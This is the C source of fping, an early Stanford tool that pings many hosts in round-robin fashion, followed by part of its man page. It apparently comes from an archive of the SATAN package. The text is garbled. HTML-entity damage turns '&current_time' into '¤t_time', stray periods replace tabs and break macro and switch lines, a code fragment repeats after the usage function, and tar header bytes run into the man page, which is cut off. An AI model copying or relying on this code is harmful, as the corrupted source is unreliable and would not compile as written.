  16693.  * everything shows up in the right order.
  16694.  *
  16695.  * Revision 1.17  1992/07/23  03:29:42  schemers
  16696.  * fixed declaration of timeval_diff.
  16697.  *
  16698.  * Revision 1.16  1992/07/22  19:24:37  schemers
  16699.  * Modified file reading so it would skip blanks lines or lines starting
  16700.  * with a '#'. Now you can do something like:
  16701.  *
  16702.  * fping -ad < /etc/hosts
  16703.  *
  16704.  * Revision 1.15  1992/07/21  17:07:18  schemers
  16705.  * Put in sanity checks so only root can specify "dangerous" options.
  16706.  * Changed usage to show switchs in alphabetical order.
  16707.  *
  16708.  * Revision 1.14  1992/07/21  16:40:52  schemers
  16709.  * Now when sendto returns an error, the host is considered unreachable and
  16710.  * and the error message (from errno) is displayed.
  16711.  *
  16712.  * Revision 1.13  1992/07/17  21:02:17  schemers
  16713.  * changed default timeout to 2500 msec (for WANs), and default try
  16714.  * to 3. This gives 10 second overall timeout.
  16715.  *
  16716.  * Added -e option for showing elapsed (round-trip) time on packets
  16717.  *
  16718.  * Modified -s option to inlude to round-trip stats
  16719.  *
  16720.  * Added #ifndef DEFAULT_* stuff its easier to change the defaults
  16721.  *
  16722.  * Reorganized main loop.
  16723.  *
  16724.  * cleaned up timeval stuff. removed set_timeval and timeval_expired
  16725.  * since they aren't needed anymore. Just use timeval_diff.
  16726.  *
  16727.  * Revision 1.12  1992/07/17  16:38:54  schemers
  16728.  * move socket create call so I could do a setuid(getuid()) before the
  16729.  * fopen call is made. Once the socket is created root privs aren't needed
  16730.  * to send stuff out on it.
  16731.  *
  16732.  * Revision 1.11  1992/07/17  16:28:38  schemers
  16733.  * moved num_timeout counter. It really was for debug purposes and didn't
  16734.  * make sense to the general public :-) Now it is the number of timeouts
  16735.  * (pings that didn't get received with the time limit).
  16736.  *
  16737.  * Revision 1.10  1992/07/16  16:24:38  schemers
  16738.  * changed usage() to use fprintf(stderr,"...");
  16739.  *
  16740.  * Revision 1.9  1992/07/16  16:00:04  schemers
  16741.  * Added _NO_PROTO stuff for older compilers, and _POSIX_SOURCE
  16742.  * for unistd.h, and _POSIX_SOURCE for stdlib.h. Also added
  16743.  * check for __cplusplus.
  16744.  *
  16745.  * Revision 1.8  1992/07/16  05:44:41  schemers
  16746.  * changed -a and -u to only show hostname in results. This is
  16747.  * for easier parsing. Also added -v flag
  16748.  *
  16749.  * Revision 1.7  1992/07/14  18:45:23  schemers
  16750.  * initialized last_time in add_host function
  16751.  *
  16752.  * Revision 1.6  1992/07/14  18:32:40  schemers
  16753.  * changed select to use FD_ macros
  16754.  *
  16755.  * Revision 1.5  1992/07/14  17:21:22  schemers
  16756.  * standardized exit status codes
  16757.  *
  16758.  * Revision 1.4  1992/06/26  15:25:35  schemers
  16759.  * changed name from rrping to fping
  16760.  *
  16761.  * Revision 1.3  1992/06/24  15:39:32  schemers
  16762.  * added -d option for unreachable systems
  16763.  *
  16764.  * Revision 1.2  1992/06/23  03:01:23  schemers
  16765.  * misc fixes from R.L. "Bob" Morgan
  16766.  *
  16767.  * Revision 1.1  1992/06/19  18:23:52  schemers
  16768.  * Initial revision
  16769.  *
  16770.  *--------------------------------------------------
  16771.  * Copyright (c) 1992 Board of Trustees
  16772.  *            Leland Stanford Jr. University
  16773.  ***************************************************
  16774.  */
  16775.  
  16776. /*
  16777.  * Redistribution and use in source and binary forms are permitted
  16778.  * provided that the above copyright notice and this paragraph are
  16779.  * duplicated in all such forms and that any documentation,
  16780.  * advertising materials, and other materials related to such
  16781.  * distribution and use acknowledge that the software was developed
  16782.  * by Stanford University.  The name of the University may not be used 
  16783.  * to endorse or promote products derived from this software without 
  16784.  * specific prior written permission.
  16785.  * THIS SOFTWARE IS PROVIDED ``AS IS'' AND WITHOUT ANY EXPRESS OR
  16786.  * IMPLIED WARRANTIES, INCLUDING, WITHOUT LIMITATION, THE IMPLIED
  16787.  * WARRANTIES OF MERCHANTIBILITY AND FITNESS FOR A PARTICULAR PURPOSE.
  16788.  */
  16789.  
  16790. #ifndef _NO_PROTO
  16791. #if !__STDC__ && !defined(__cplusplus) && !defined(FUNCPROTO) \
  16792.                                                  && !defined(_POSIX_SOURCE)
  16793. #define _NO_PROTO
  16794. #endif /* __STDC__ */
  16795. #endif /* _NO_PROTO */
  16796.  
  16797. #ifdef __cplusplus
  16798. extern "C" {
  16799. #endif
  16800.  
  16801. #include <stdio.h>
  16802. #include <errno.h>
  16803. #include <time.h>
  16804.  
  16805. #ifdef _POSIX_SOURCE
  16806. #include <unistd.h>
  16807. #endif
  16808.  
  16809. #ifdef __STDC__
  16810. #include <stdlib.h>
  16811. #endif
  16812.  
  16813. #include <string.h>
  16814.  
  16815. #include <sys/types.h>
  16816. #include <sys/time.h>
  16817. #include <sys/socket.h>
  16818.  
  16819.  
  16820. #include <netinet/in_systm.h>
  16821. #include <netinet/in.h>
  16822. #include <netinet/ip.h>
  16823. #include <netinet/ip_icmp.h>
  16824. #include <arpa/inet.h>
  16825.  
  16826. #include <netdb.h>
  16827.  
  16828. /* RS6000 has sys/select.h */
  16829. #ifndef FD_SET
  16830. #include <sys/select.h>
  16831. #endif
  16832.  
  16833. /* externals */
  16834.  
  16835. extern char *optarg;
  16836. extern int optind,opterr;
  16837. #ifndef SYS_ERRLIST_DECLARED
  16838. extern char *sys_errlist[];
  16839. #endif
  16840.  
  16841. #ifdef __cplusplus
  16842. }
  16843. #endif
  16844.  
  16845. /* constants */
  16846.  
  16847. #ifndef DEFAULT_INTERVAL
  16848. #define DEFAULT_INTERVAL 25        /* default time between packets (msec) */
  16849. #endif
  16850.  
  16851. #ifndef DEFAULT_TIMEOUT
  16852. #define DEFAULT_TIMEOUT 2500       /* individual host timeouts */
  16853. #endif
  16854.  
  16855. #ifndef DEFAULT_RETRY 
  16856. #define DEFAULT_RETRY 3            /* number of times to retry a host */
  16857. #endif
  16858.  
  16859.  
  16860. /* typedef's */
  16861.  
  16862. /* entry used to keep track of each host we are pinging */
  16863.  
  16864. typedef struct host_entry {
  16865.      char                 *host;              /* text description of host */
  16866.      struct sockaddr_in   saddr;              /* internet address */
  16867.      int                  i;                  /* index into array */
  16868.      int                  num_packets_sent;   /* number of ping packets sent */
  16869.      struct host_entry    *prev,*next;        /* doubly linked list */
  16870.      struct timeval       last_time;          /* time of last packet sent */
  16871. } HOST_ENTRY;
  16872.  
  16873. /* globals */
  16874.  
  16875. HOST_ENTRY *rrlist=NULL;    /* linked list of hosts be pinged */
  16876. HOST_ENTRY **table=NULL;    /* array of pointers to items in the list */
  16877. HOST_ENTRY *cursor;
  16878.  
  16879. char *prog;
  16880. int ident;                  /* our pid */
  16881. int s;                      /* socket */
  16882.  
  16883. int retry = DEFAULT_RETRY;
  16884. int timeout = DEFAULT_TIMEOUT;
  16885. int interval = DEFAULT_INTERVAL;
  16886.  
  16887. long max_reply=0;
  16888. long min_reply=10000;
  16889. int total_replies=0;
  16890. double sum_replies=0;
  16891.  
  16892. struct timeval timeout_timeval;
  16893. struct timezone tz;
  16894.  
  16895. int num_waiting=0;                 /* number of hosts we are pinging */
  16896. int num_hosts;                     /* total number of hosts */
  16897.  
  16898. int num_alive=0,                  /* total number alive */
  16899.     num_unreachable=0,            /* total number unreachable */
  16900.     num_noaddress=0;              /* total number of addresses not found */
  16901.  
  16902. int num_timeout=0,                /* number of times select timed out */
  16903.     num_pingsent=0,               /* total pings sent */
  16904.     num_pingreceived=0;           /* total pings received */
  16905.  
  16906. struct timeval current_time;      /* current time (pseudo) */
  16907. struct timeval start_time; 
  16908. struct timeval end_time;   
  16909.  
  16910. /* switches */
  16911. int verbose_flag,dns_flag,stats_flag,unreachable_flag,alive_flag;
  16912. int elapsed_flag,version_flag;
  16913.  
  16914. char *filename=NULL;               /* file containing hosts to ping */
  16915.  
  16916. /* forward declarations */
  16917.  
  16918. #ifdef _NO_PROTO
  16919.  
  16920. void add_host();
  16921. void crash_and_burn();
  16922. void errno_crash_and_burn();
  16923. char *get_host_by_address();
  16924. int in_cksum();
  16925. int recvfrom_wto ();
  16926. void remove_job();
  16927. void send_ping();
  16928. void usage();
  16929. int wait_for_reply();
  16930. long timeval_diff();
  16931. #else
  16932.  
  16933. void add_host(char *host);
  16934. void crash_and_burn(char *message);
  16935. void errno_crash_and_burn(char *message);
  16936. char *get_host_by_address(struct in_addr in);
  16937. int in_cksum(u_short *p, int n);
  16938. int recvfrom_wto (int s, char *buf, int len, struct sockaddr *saddr, int timo);
  16939. void remove_job(HOST_ENTRY *h);
  16940. void send_ping(int s,HOST_ENTRY *h);
  16941. long timeval_diff(struct timeval *a,struct timeval *b);
  16942. void usage();
  16943. int wait_for_reply();
  16944.  
  16945. #endif
  16946.  
  16947. #define bcopy(s,d,l).memcpy(d,s,l)
  16948. #define bzero(d,l).memset(d,0,l)
  16949.  
  16950. #ifdef _NO_PROTO
  16951. int main(argc,argv)
  16952. int argc; char **argv;
  16953. #else
  16954. int main(int argc, char **argv)
  16955. #endif
  16956. {
  16957.  
  16958.   int c;
  16959.  
  16960.   struct protoent *proto;
  16961.  
  16962.   /* check if we are root */
  16963.  
  16964.   if (geteuid()) {
  16965.       fprintf(stderr,
  16966.         "This program can only be run by root, or it must be setuid root.\n");
  16967.       exit(3);
  16968.   }
  16969.  
  16970.   if ((proto = getprotobyname("icmp")) == NULL) 
  16971.              crash_and_burn("icmp: unknown protocol");
  16972.  
  16973.   /* create the socket here as root. Then setuid back to 
  16974.         the person running the program. This is so they
  16975.         can't open a file that doesn't belong to them! */
  16976.  
  16977.   s = socket(AF_INET, SOCK_RAW, proto->p_proto);
  16978.   if (s<0) errno_crash_and_burn("can't create raw socket");
  16979.  
  16980.   setuid(getuid());
  16981.  
  16982.   prog = argv[0];
  16983.   ident = getpid() & 0xFFFF;
  16984.  
  16985.   verbose_flag=1;
  16986.  
  16987.   opterr=0;
  16988.  
  16989.   while ((c = getopt(argc,argv,"edhqusavt:i:f:r:")) != EOF) 
  16990.      switch (c) {
  16991. .   case 't': if ( (timeout=atoi(optarg)) <0) usage();  break;
  16992. .   case 'f': filename= optarg;                         break;
  16993. .   case 'r': if ((retry=atoi(optarg))<0) usage();      break;
  16994. .   case 'i': if ((interval=atoi(optarg))<0) usage();   break;
  16995. .   case 'h': usage();                                  break;
  16996. .   case 'q': verbose_flag = 0;.                       break;
  16997. .   case 'e': elapsed_flag = 1;.                       break;
  16998. .   case 'd': dns_flag = 1;                             break;
  16999. .   case 's': stats_flag = 1;                           break;
  17000. .   case 'u': unreachable_flag = 1;                     break;
  17001. .   case 'a': alive_flag = 1;                           break;
  17002.            case 'v':
  17003.                      printf("%s: $Revision: 1.20 $ $Date: 1993/02/23 00:16:38 $\n",argv[0]);
  17004.                      printf("%s: comments to schemers@Stanford.EDU\n",argv[0]);
  17005.                      exit(0);
  17006.            default : fprintf(stderr,"Unknown flag: %s\n",argv[0]); 
  17007.                      usage(); break;
  17008.      }
  17009.  
  17010.   if (unreachable_flag && alive_flag) {
  17011.     fprintf(stderr,"%s: specify only one of a,u\n",argv[0]);
  17012.     usage();
  17013.   }
  17014.  
  17015.   if ( (interval<10 || retry >20 || timeout <250) && getuid()) {
  17016.     fprintf(stderr,"%s: these options are too risky for mere mortals.\n",prog);
  17017.     fprintf(stderr,"%s: You need i >=10, retry < 20, and t >= 250\n",prog);
  17018.     exit(3);
  17019.   }
  17020.  
  17021.   if (alive_flag || unreachable_flag) verbose_flag=0;
  17022.  
  17023.   argv = &argv[optind];
  17024.   if (*argv && filename)   { usage(); }
  17025.   if (!*argv && !filename) { filename = "-"; }
  17026.  
  17027.   if (*argv) while (*argv) {
  17028.              add_host(*argv);
  17029.              ++argv;
  17030.   } else if (filename) {
  17031.          FILE *ping_file;
  17032.          char line[132];
  17033.          char host[132],*p;
  17034.          if (strcmp(filename,"-")==0) {
  17035.              ping_file=fdopen(0,"r");
  17036.          } else {
  17037.              ping_file=fopen(filename,"r");
  17038.          }
  17039.          if (!ping_file) errno_crash_and_burn("fopen");
  17040.          while(fgets(line,132,ping_file)) {
  17041.            sscanf(line,"%s",host);
  17042.               if ((!*host) || (host[0]=='#'))  /* magic to avoid comments */
  17043.                 continue;
  17044.            p=(char*)malloc(strlen(host)+1);
  17045.            if (!p) crash_and_burn("can't malloc host");
  17046.            strcpy(p,host);
  17047.            add_host(p);
  17048.          }
  17049.          fclose(ping_file);
  17050.   } else usage();
  17051.  
  17052.   if (!num_hosts) exit(2);
  17053.  
  17054.   /* allocate array to hold outstanding ping requests */
  17055.  
  17056.   table = (HOST_ENTRY **) malloc(sizeof(HOST_ENTRY *)*num_hosts);
  17057.   if (!table) crash_and_burn("Can't malloc array of hosts");
  17058.  
  17059.   cursor=rrlist;
  17060.  
  17061.   for( num_waiting=0; num_waiting < num_hosts; num_waiting++ ) {
  17062.       table[num_waiting]=cursor;
  17063.       cursor->i = num_waiting;
  17064.       cursor=cursor->next;
  17065.   }
  17066.  
  17067.   gettimeofday(&start_time,&tz);
  17068.   cursor=rrlist;
  17069.   while (num_waiting) {  /* while pings are outstanding */
  17070.         if ( (timeval_diff(¤t_time,&cursor->last_time)> timeout) ||
  17071.                                                 cursor->num_packets_sent==0)  {
  17072.            if (cursor->num_packets_sent>0)  num_timeout++;
  17073.             if (cursor->num_packets_sent == retry+1) {
  17074.                         if(verbose_flag || unreachable_flag) {
  17075.                               if (dns_flag) printf("%s",
  17076.                                  get_host_by_address(cursor->saddr.sin_addr));
  17077.                               else    printf("%s",cursor->host);
  17078.                               if (verbose_flag) printf(" is unreachable");
  17079.                               printf("\n");
  17080.                    .}
  17081.                        num_unreachable++;
  17082.                        remove_job(cursor); 
  17083.            } else send_ping(s,cursor);
  17084. . }
  17085.       while(wait_for_reply() && num_waiting) {  /* call wfr until we timeout */
  17086.                     /* wait! */
  17087.       }
  17088.       gettimeofday(¤t_time,&tz);
  17089.       if (cursor) cursor = cursor->next;
  17090.   }  
  17091.  
  17092.   gettimeofday(&end_time,&tz);
  17093.  
  17094.   if (stats_flag) {
  17095.      fflush(stdout);
  17096.      fprintf(stderr,"\n");
  17097.      fprintf(stderr," %8d hosts\n",num_hosts);
  17098.      fprintf(stderr," %8d alive\n",num_alive);
  17099.      fprintf(stderr," %8d unreachable\n",num_unreachable);
  17100.      fprintf(stderr," %8d unknown addresses\n",num_noaddress);
  17101.      fprintf(stderr,"\n");
  17102.      fprintf(stderr," %8d timeouts (waiting for response)\n",num_timeout);
  17103.      fprintf(stderr," %8d pings sent\n",num_pingsent);
  17104.      fprintf(stderr," %8d pings received\n",num_pingreceived);
  17105.      fprintf(stderr,"\n");
  17106.  
  17107. if (total_replies==0) {
  17108.           min_reply=0; max_reply=0; total_replies=1; sum_replies=0;
  17109. }
  17110.  
  17111.      fprintf(stderr," %8d msec (min round trip time)\n",min_reply);
  17112.      fprintf(stderr," %8d msec (avg round trip time)\n",(int)sum_replies/total_replies);
  17113.      fprintf(stderr," %8d msec (max round trip time)\n",max_reply);
  17114.      fprintf(stderr," %8.3f sec (elapsed real time)\n",
  17115. .     timeval_diff( &end_time,&start_time)/1000.0);
  17116.      fprintf(stderr,"\n");
  17117.  
  17118.   }
  17119.  
  17120.   if (num_noaddress) exit(2);
  17121.   else if (num_alive != num_hosts) exit(1); 
  17122.   
  17123.   exit(0);
  17124.  
  17125. }
  17126.  
  17127.  
  17128. /*
  17129.  * 
  17130.  * Compose and transmit an ICMP_ECHO REQUEST packet.  The IP packet
  17131.  * will be added on by the kernel.  The ID field is our UNIX process ID,
  17132.  * and the sequence number is an index into an array of outstanding
  17133.  * ping requests. The sequence number will later be used to quickly
  17134.  * figure out who the ping reply came from.
  17135.  *
  17136.  */
  17137.  
  17138. #ifdef _NO_PROTO
  17139. void send_ping(s,h)
  17140. int s; HOST_ENTRY *h;
  17141. #else
  17142. void send_ping(int s,HOST_ENTRY *h)
  17143. #endif
  17144. {
  17145.   static char buffer[32];
  17146.   struct icmp *icp = (struct icmp *) buffer;
  17147.   int n,len;
  17148.  
  17149.   gettimeofday(&h->last_time,&tz);
  17150.  
  17151.   icp->icmp_type = ICMP_ECHO;
  17152.   icp->icmp_code = 0;
  17153.   icp->icmp_cksum = 0;
  17154.   icp->icmp_seq = h->i;
  17155.   icp->icmp_id = ident;
  17156. #define SIZE_ICMP_HDR 8
  17157. #define SIZE_PACK_SENT (sizeof(h->num_packets_sent))
  17158. #define SIZE_LAST_TIME (sizeof(h->last_time))
  17159.  
  17160.   bcopy(&h->last_time,&buffer[SIZE_ICMP_HDR],SIZE_LAST_TIME);
  17161.   bcopy(&h->num_packets_sent,
  17162.              &buffer[SIZE_ICMP_HDR+SIZE_LAST_TIME], SIZE_PACK_SENT);
  17163.  
  17164.   len = SIZE_ICMP_HDR+SIZE_LAST_TIME+SIZE_PACK_SENT;
  17165.  
  17166.   icp->icmp_cksum = in_cksum( (u_short *)icp, len );
  17167.  
  17168.   n = sendto( s, buffer, len, 0, (struct sockaddr *)&h->saddr, 
  17169.                                                sizeof(struct sockaddr_in) );
  17170.   if( n < 0 || n != len ) {
  17171.       if (verbose_flag || unreachable_flag) {
  17172.         if (dns_flag) printf("%s",get_host_by_address(h->saddr.sin_addr));
  17173.          else printf("%s",cursor->host);
  17174.          if (verbose_flag) printf(" error while sending ping: %s\n",
  17175.                                sys_errlist[errno]);
  17176.          printf("\n");
  17177.       }
  17178.       num_unreachable++;
  17179.       remove_job(h); 
  17180.   } else {
  17181.        h->num_packets_sent++;
  17182.        num_pingsent++;
  17183.   }
  17184.  
  17185. }
  17186.  
  17187. #ifdef _NO_PROTO
  17188. int wait_for_reply()
  17189. #else
  17190. int wait_for_reply()
  17191. #endif
  17192. {
  17193. int result;
  17194. static char buffer[4096];
  17195. struct sockaddr_in response_addr;
  17196. struct ip *ip;
  17197. int hlen;
  17198. struct icmp *icp;
  17199. int n;
  17200. HOST_ENTRY *h;
  17201.  
  17202. long this_reply;
  17203. int the_index;
  17204. struct timeval sent_time;
  17205.  
  17206.  
  17207.  result=recvfrom_wto(s,buffer,4096,
  17208.                      (struct sockaddr *)&response_addr,interval);
  17209.  
  17210.   if (result<0) { return 0; } /* timeout */
  17211.   
  17212.   ip = (struct ip *) buffer;
  17213.   hlen = ip->ip_hl << 2;
  17214.   if (result < hlen+ICMP_MINLEN) { return(1); /* too short */ }
  17215.  
  17216.   icp = (struct icmp *)(buffer + hlen);
  17217.  
  17218.   if ( 
  17219.        ( icp->icmp_type != ICMP_ECHOREPLY ) ||   
  17220.        ( icp->icmp_id   != ident          ) 
  17221.   ) {
  17222.        return 1; /* packet received, but not the one we are looking for! */
  17223.   }
  17224.  
  17225.       num_pingreceived++;
  17226.  
  17227.   if ( ( icp->icmp_seq  >= num_hosts    ) ||
  17228.        ( !table[icp->icmp_seq]          ) ||
  17229.        ( table[icp->icmp_seq]->saddr.sin_addr.s_addr 
  17230.                                 != response_addr.sin_addr.s_addr)) { 
  17231.        return 1; /* packet received, don't about it anymore */
  17232.   }
  17233.  
  17234.     n=icp->icmp_seq;
  17235.     h=table[n];
  17236.  
  17237.     gettimeofday(¤t_time,&tz);
  17238.     bcopy(&icp->icmp_data[0],&sent_time,sizeof(sent_time));
  17239.     bcopy(&icp->icmp_data[SIZE_LAST_TIME],&the_index,  sizeof(the_index));
  17240.     this_reply = timeval_diff(¤t_time,&sent_time);
  17241.     if (this_reply>max_reply) max_reply=this_reply;
  17242.     if (this_reply<min_reply) min_reply=this_reply;
  17243.     sum_replies += this_reply;
  17244.     total_replies++;
  17245.  
  17246.     if(verbose_flag||alive_flag) {
  17247.        if (dns_flag) printf("%s",get_host_by_address(response_addr.sin_addr));
  17248.        else printf("%s",h->host);
  17249.        if (verbose_flag) printf(" is alive");
  17250.        if (elapsed_flag) printf(" (%d msec)",this_reply);
  17251.        printf("\n");
  17252.     }
  17253.     num_alive++;
  17254.     remove_job(h); /* remove job */
  17255.     return num_waiting;
  17256. }
  17257.  
  17258. /*
  17259.  * Checksum routine for Internet Protocol family headers (C Version)
  17260.  * From ping examples in W.Richard Stevens "UNIX NETWORK PROGRAMMING" book.
  17261.  */
  17262.  
  17263. #ifdef _NO_PROTO
  17264. int in_cksum(p,n)
  17265. u_short *p; int n;
  17266. #else
  17267. int in_cksum(u_short *p, int n)
  17268. #endif
  17269. {
  17270.   register u_short answer;
  17271.   register long sum = 0;
  17272.   u_short odd_byte = 0;
  17273.  
  17274.   while( n > 1 )  { sum += *p++; n -= 2; }
  17275.  
  17276.   /* mop up an odd byte, if necessary */
  17277.   if( n == 1 ) {
  17278.       *(u_char *)(&odd_byte) = *(u_char *)p;
  17279.       sum += odd_byte;
  17280.   }
  17281.  
  17282.   sum = (sum >> 16) + (sum & 0xffff);./* add hi 16 to low 16 */
  17283.   sum += (sum >> 16);.../* add carry */
  17284.   answer = ~sum;.../* ones-complement, truncate*/
  17285.   return (answer);
  17286. }
  17287.  
  17288.  
  17289. /* add host to linked list of hosts to be pinged */
  17290. /* assume memory for *host is ours!!!            */
  17291.  
  17292. #ifdef _NO_PROTO
  17293. void add_host(host)
  17294. char *host;
  17295. #else
  17296. void add_host(char *host)
  17297. #endif
  17298. {
  17299.   HOST_ENTRY *p;
  17300.   struct hostent *host_ent;
  17301.   struct in_addr *host_add;
  17302.  
  17303. #ifndef __alpha
  17304.   u_long ipaddress = inet_addr(host);
  17305. #else
  17306.   u_int ipaddress = inet_addr(host);
  17307. #endif
  17308.  
  17309.   if ( (ipaddress == -1) &&
  17310.        ( ((host_ent=gethostbyname(host)) == 0) ||
  17311.           ((host_add = (struct in_addr *) *(host_ent->h_addr_list))==0))
  17312.      )  {
  17313.           if (verbose_flag) fprintf(stderr,"%s address not found\n",host);
  17314.           num_noaddress++;
  17315.           return;
  17316.        }
  17317.  
  17318.   p = (HOST_ENTRY *) malloc(sizeof(HOST_ENTRY));
  17319.   if (!p) crash_and_burn("can't allocate HOST_ENTRY");
  17320.  
  17321.   p->host=host;
  17322.   p->num_packets_sent = 0;
  17323.   p->last_time.tv_sec =0;
  17324.   p->last_time.tv_usec =0;
  17325.  
  17326.   bzero((char*) &p->saddr, sizeof(p->saddr));
  17327.   p->saddr.sin_family      = AF_INET;
  17328.  
  17329.   if (ipaddress==-1) p->saddr.sin_addr = *host_add; 
  17330.   else p->saddr.sin_addr.s_addr = ipaddress;
  17331.  
  17332.   if (!rrlist) {
  17333.       rrlist = p;
  17334.       p->next = p;
  17335.       p->prev = p;
  17336.   } else {
  17337.       p->next = rrlist;
  17338.       p->prev = rrlist->prev;
  17339.       p->prev->next = p;
  17340.       p->next->prev = p;
  17341.       rrlist = p;
  17342.   }
  17343.   num_hosts++;
  17344. }
  17345.  
  17346. #ifdef _NO_PROTO
  17347. void remove_job(h)
  17348. HOST_ENTRY *h;
  17349. #else
  17350. void remove_job(HOST_ENTRY *h)
  17351. #endif
  17352. {
  17353.  
  17354.   table[h->i]=NULL;
  17355.   --num_waiting;
  17356.  
  17357.   if (num_waiting) {                    /* remove us from list of jobs */
  17358.        h->prev->next = h->next;
  17359.        h->next->prev = h->prev;
  17360.        if (h==cursor) { cursor = h-> next; }
  17361.   } else {     
  17362.        cursor=NULL;
  17363.        rrlist=NULL;
  17364.   }
  17365.  
  17366. }
  17367.  
  17368. #ifdef _NO_PROTO
  17369. char *get_host_by_address(in)
  17370. struct in_addr in;
  17371. #else
  17372. char *get_host_by_address(struct in_addr in)
  17373. #endif
  17374. {
  17375.   struct hostent *h;
  17376.    h=gethostbyaddr((char *) &in,sizeof(struct in_addr),AF_INET);
  17377.    if (h==NULL || h->h_name==NULL) return inet_ntoa(in);
  17378.    else return h->h_name;
  17379. }
  17380.  
  17381.  
  17382. #ifdef _NO_PROTO
  17383. void crash_and_burn(message)
  17384. char *message;
  17385. #else
  17386. void crash_and_burn(char *message)
  17387. #endif
  17388. {
  17389.   if (verbose_flag) fprintf(stderr,"%s: %s\n",prog,message);
  17390.   exit(4);
  17391. }
  17392.  
  17393. #ifdef _NO_PROTO
  17394. void errno_crash_and_burn(message)
  17395. char *message;
  17396. #else
  17397. void errno_crash_and_burn(char *message)
  17398. #endif
  17399. {
  17400.   if (verbose_flag)
  17401.         fprintf(stderr,"%s: %s : %s\n",prog,message,sys_errlist[errno]);
  17402.   exit(4);
  17403. }
  17404.  
  17405. #ifdef _NO_PROTO
  17406. long timeval_diff(a,b)
  17407. struct timeval *a,*b;
  17408. #else
  17409. long timeval_diff(struct timeval *a,struct timeval *b)
  17410. #endif
  17411. {
  17412. double temp;
  17413.  
  17414. temp = 
  17415.   (((a->tv_sec*1000000)+ a->tv_usec) - 
  17416.      ((b->tv_sec*1000000)+ b->tv_usec))/1000;
  17417.  
  17418. return (long) temp;
  17419.  
  17420. }
  17421.  
  17422. /*
  17423.  * recvfrom_wto: receive with timeout
  17424.  *      returns length of data read or -1 if timeout
  17425.  *      crash_and_burn on any other errrors
  17426.  *
  17427.  */
  17428.  
  17429.  
  17430. #ifdef _NO_PROTO
  17431. int recvfrom_wto (s,buf,len, saddr, timo)
  17432. int s; char *buf; int len; struct sockaddr *saddr; int timo;
  17433. #else
  17434. int recvfrom_wto (int s, char *buf, int len, struct sockaddr *saddr, int timo)
  17435. #endif
  17436. {
  17437.   int nfound,slen,n;
  17438.   struct timeval to;
  17439.   fd_set readset,writeset;
  17440.  
  17441.   to.tv_sec  = timo/1000;
  17442.   to.tv_usec = (timo - (to.tv_sec*1000))*1000;
  17443.  
  17444.   FD_ZERO(&readset);
  17445.   FD_ZERO(&writeset);
  17446.   FD_SET(s,&readset);
  17447.   nfound = select(s+1,&readset,&writeset,NULL,&to);
  17448.   if (nfound<0) errno_crash_and_burn("select");
  17449.   if (nfound==0) return -1;  /* timeout */
  17450.   slen=sizeof(struct sockaddr);
  17451.   n=recvfrom(s,buf,len,0,saddr,&slen);
  17452.   if (n<0) errno_crash_and_burn("recvfrom");
  17453.   return n;
  17454. }
  17455.  
  17456. #ifdef _NO_PROTO
  17457. void usage()
  17458. #else
  17459. void usage()
  17460. #endif
  17461. {
  17462.   fprintf(stderr,"\n");
  17463.   fprintf(stderr,"Usage: %s [options] [systems...]\n",prog);
  17464.   fprintf(stderr,"   -a         show systems that are alive\n");
  17465.   fprintf(stderr,"   -d         use dns to lookup address for return ping packet\n");
  17466.   fprintf(stderr,"   -e         show elapsed time on return packets\n");
  17467.   fprintf(stderr,"   -f file    read list of systems from a file ( - means stdin)\n");
  17468.   fprintf(stderr,"   -i n       interval (between ping packets) in milliseconds (default %d)\n",interval);
  17469.   fprintf(stderr,"   -q         quiet (don't show per host results)\n");
  17470.   fprintf(stderr,"   -r n       retry limit (default %d)\n",retry);
  17471.   fprintf(stderr,"   -s         dump final stats\n");
  17472.   fprintf(stderr,"   -t n       individual host timeout in milliseconds (default %d)\n",timeout);
  17473.   fprintf(stderr,"   -u         show systems that are unreachable\n");
  17474.   fprintf(stderr,"   -v         show version\n");
  17475.   fprintf(stderr,"   systems    list of systems to check (if no -f specified)\n");
  17476.   fprintf(stderr,"\n");
  17477.   exit(3);
  17478. }
  17479. _addr *) *(host_ent->h_addr_list))==0))
  17480.      )  {
  17481.           if (verbose_flag) fprintf(stderr,"%s address not found\n",host);
  17482.           num_noaddress++;
  17483.           return;
  17484.        }
  17485.  
  17486.   p = (HOST_ENTRY *) malloc(sizeof(HOST_ENTRY));
  17487.   if (!p) crash_and_burn("can't allocate HOST_ENTRY");
  17488.  
  17489.   p->host=host;
  17490.   p->num_pasatan-1.1.1/src/fping/fping.man.....................................................................   600 .   465 .   506 .       7470  5731724670  11406. ..........................................................................................
  17491. .................................................................................................................................................................................................................................................................
  17492. ..........TH fping l
  17493. .SH NAME
  17494. fping \- send ICMP ECHO_REQUEST packets to network hosts
  17495. .SH SYNOPSIS
  17496. .B fping
  17497. [ \fIoptions\fR ]
  17498. [ \fIsystems...\fR ]
  17499.  
  17500. .SH DESCRIPTION
  17501. .NXR "fping command"
  17502. .NXR "ICMP ECHO_REQUEST"
  17503.  
  17504.       
  17505. .B fping 
  17506. is a 
  17507. .MS ping 8
  17508. like program which uses the Internet Control
  17509. Message Protocol (ICMP) echo request to determine if a host is
  17510. up. 
  17511. .B fping 
  17512. is different from ping in that you can specify any
  17513. number of hosts on the command line, or specify a file containing
  17514. the lists of hosts to ping. Instead of trying one host until it
  17515. timeouts or replies, 
  17516. .B fping 
  17517. will send out a ping packet and move
  17518. on to the next host in a round-robin fashion. If a host replies,
  17519. it is noted and removed from the list of hosts to check. If a host
  17520. does not respond within a certain time limit and/or retry limit it 
  17521. will be considered unreachable. 
  17522. .PP
  17523. Unlike 
  17524. .MS ping 8
  17525. ,
  17526. .B fping 
  17527. is meant to be used in scripts and its output is easy to parse.
  17528. .SH OPTIONS
  17529. .IP \fB-a\fR 5
  17530. Show systems that are alive.
  17531. .IP \fB-d\fR 5
  17532. Use DNS to lookup address of return ping packet. This allows you to give
  17533. fping a list of IP addresses as input and print hostnames in the output.
  17534. .IP \fB-e\fR 5
  17535. Show elapsed (round-trip) time of packets
  17536. .IP \fB-f\fR 5
  17537. Read list of system from a file.
  17538. .IP \fB-i\fIn\fR 5
  17539. The minimum amount of time (in milliseconds) between sending a ping packet to any host (default is 25).
  17540. .IP \fB-q\fR 5
  17541. Quiet. Don't show per host results, just set final exit status.
  17542. .IP \fB-r\fIn\fR 5
  17543. Retry limit (default 3). This is the number of times an attempt at pinging
  17544. a host will be made, not including the first try.
  17545. .IP \fB-s\fR 5
  17546. Dump final statistics.
  17547. .IP \fB-t\fIn\fR 5
  17548. Individual host timeout in milliseconds (default 2500). This is the 
  17549. minimum number of milliseconds between ping packets directed towards a given
  17550. host.
  17551. .IP \fB-u\fR 5
  17552. Show systems that are unreachable.
  17553. .B fping
  17554. a list of IP addresses as input and have the results printed as hostnames.
